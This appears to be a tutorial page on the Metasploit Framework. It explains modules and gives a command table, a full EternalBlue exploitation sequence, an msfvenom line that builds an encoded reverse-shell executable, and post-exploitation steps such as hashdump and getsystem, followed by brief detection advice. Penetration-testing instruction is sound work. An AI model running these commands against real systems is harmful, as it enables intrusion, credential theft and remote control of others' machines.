1. Mental Model & Architectural Core
Metasploit Framework (MSF) is the world's most widely used penetration testing framework. It provides 2,300+ exploit modules, 1,600+ auxiliary modules, and a rich post-exploitation environment (Meterpreter) for gaining, maintaining, and leveraging access to compromised systems.
Metasploit is a fully equipped armory where every weapon (exploit) is paired with the correct ammunition (payload) for a specific target (service/OS/version). You select the weapon, configure the target, choose your payload, and fire all with a consistent command interface.
- Exploit known CVEs against discovered services (EternalBlue, PrintNightmare, etc.)
- Generate reverse shell payloads for various platforms and encodings
- Post-exploitation: dump password hashes, pivot to internal networks, establish persistence
- Client-side attacks: generate malicious Office documents or browser exploits
- Exploit EternalBlue (MS17-010) on unpatched Windows 7 hosts discovered in Nmap scan
- Generate encoded reverse HTTPS meterpreter payload and catch it with multi/handler
- Post-exploitation: hashdump, getsystem, run post/multi/recon/local_exploit_suggester
MSF uses a module architecture: Exploit modules (attack code), Payload modules (shellcode to execute after exploitation), Auxiliary modules (scanners, fuzzers, DoS), and Post modules (post-exploitation actions). msfconsole provides the interactive command interface. Meterpreter is an advanced in-memory payload with 200+ post-exploitation commands.
2. Syntax, Flags & Live Telemetry
| Flag / Option | Description |
|---|---|
| search ms17-010 | Search for exploit modules by name or CVE |
| use exploit/windows/smb/ms17_010_eternalblue | Select a specific exploit module |
| show options | Display all required and optional settings for the module |
| set RHOSTS 10.10.11.240 | Set the target host(s) |
| set LHOST 10.10.10.50 | Set local host (attacker IP for reverse connection) |
| set PAYLOAD windows/x64/meterpreter/reverse_https | Set the payload to use |
| run / exploit | Execute the module against the target |
| sessions -l | List all open Meterpreter/shell sessions |
| sessions -i 1 | Interact with session ID 1 |
| hashdump | Dump local Windows SAM password hashes (in Meterpreter) |
| getsystem | Attempt privilege escalation to SYSTEM (in Meterpreter) |
| background | Background current Meterpreter session (return to msfconsole) |
msf6 > use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.10.40 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.10.14.5 exploit
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.50 LPORT=443 -f exe -e x64/xor_dynamic -i 5 -o payload.exe
After gaining a Meterpreter session, immediately run: run post/multi/recon/local_exploit_suggester to automatically identify local privilege escalation paths available on the target OS.
3. Hands-On Practice Labs & Cyber Ranges
4. Detection & Prevention Playbook
- Block known Metasploit staging server signatures at network egress
- Monitor for unexpected HTTPS connections on non-standard ports
- Deploy EDR with memory injection detection (Meterpreter runs in-memory)
- Patch all systems Metasploit primarily exploits known, patchable vulnerabilities